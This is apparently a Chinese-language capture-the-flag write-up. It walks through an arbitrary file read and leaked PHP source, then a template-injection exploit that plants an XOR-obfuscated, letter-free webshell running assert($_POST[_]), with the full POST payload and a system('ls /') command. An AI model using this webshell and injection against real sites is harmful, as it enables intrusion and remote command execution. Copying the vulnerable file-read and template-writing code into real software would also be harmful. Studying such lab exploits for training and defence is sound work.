本题知识点
- 无数字字母webshell
登入跟注册页面
注册个test用户
登入进去发现一个任意文件读取
先读取一下这个文件的源码
<?php
error_reporting(0); $image = (string)$_GET['image'];
echo '<div class="img"> <img src="data:image/png;base64,' . base64_encode(file_get_contents($image)) . '" /> </div>';
?>
然后读取一下index.php的源码,可以发现是将模板内容替换成用户注册的信息然后写入一个php文件
<?php error_reporting(0);
if(isset($_POST['user']) && isset($_POST['pass'])) {
$hash_user = md5($_POST['user']);
$hash_pass = 'zsf'.md5($_POST['pass']);
if(isset($_POST['punctuation'])) {
if (strlen($_POST['user']) > 6)
{
echo("<script>alert('Username is too long!');</script>");
}
elseif(strlen($_POST['website']) > 25)
{
echo("<script>alert('Website is too long!');</script>");
}
elseif(strlen($_POST['punctuation']) > 1000)
{
echo("<script>alert('Punctuation is too long!');</script>");
} else
{
if(preg_match('/[^\w\/\(\)\*<>]/', $_POST['user']) === 0)
{
if (preg_match('/[^\w\/ \*:\.\;\(\)\n<>]/', $_POST['website']) === 0)
{
$_POST['punctuation'] = preg_replace("/[a-z,A-Z,0-9>\?]/","",$_POST['punctuation']);
$template = file_get_contents('./template.html');
$content = str_replace("__USER__", $_POST['user'], $template);
$content = str_replace("__PASS__", $hash_pass, $content);
$content = str_replace("__WEBSITE__", $_POST['website'], $content);
$content = str_replace("__PUNC__", $_POST['punctuation'], $content);
file_put_contents('sandbox/'.$hash_user.'.php', $content);
echo("<script>alert('Successed!');</script>");
} else {
echo("<script>alert('Invalid chars in website!');</script>");
}
}
else
{
echo("<script>alert('Invalid chars in username!');</script>");
}
}
} else {
setcookie("user", $_POST['user'], time()+3600);
setcookie("pass", $hash_pass, time()+3600);
Header("Location:sandbox/$hash_user.php");
}
}
?>
看看/template.html内容,唯一需要关注的就是模板里面的php代码部分,__USER__等这些内容会被替换成我们的注册时候填写的内容
我们首先构造user的内容,user的正则为
/[^\w\/\(\)\*<>]/
我们构造/*这样他替换内容为,把后面的内容注释掉了
<?php
error_reporting(0);
$user = ((string)/*);
$pass = ((string)__PASS__);
if(isset($_COOKIE['user']) && isset($_COOKIE['pass']) && $_COOKIE['user'] === $user && $_COOKIE['pass'] === $pass){
echo($_COOKIE['user']);
}
else{
die("<script>
alert('Permission denied!');</script>");
}
?>
punctuation刚好在user下面的位置
替换规则为,将所有字母数字替换为空
/[a-z,A-Z,0-9>\?]/
我们先构造闭合前面的注释
*/'');
现在代码为
但是他替换了所有字母跟数字,这里我们使用无字符webshell
<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);
然后在将后面注释/*完整payload为
user=/*&pass=xxxx&punctuation=*/'');$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`');$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']');$___=$$__;$_($___[_]);/*&website=
在代码里面呈现的效果是这样的
然后访问
sandbox/523048e7f5ca9550505f2d8ea6d587e7.php
密码_直接执行命令即可
_=system('ls /');
得到flag然后去cat即可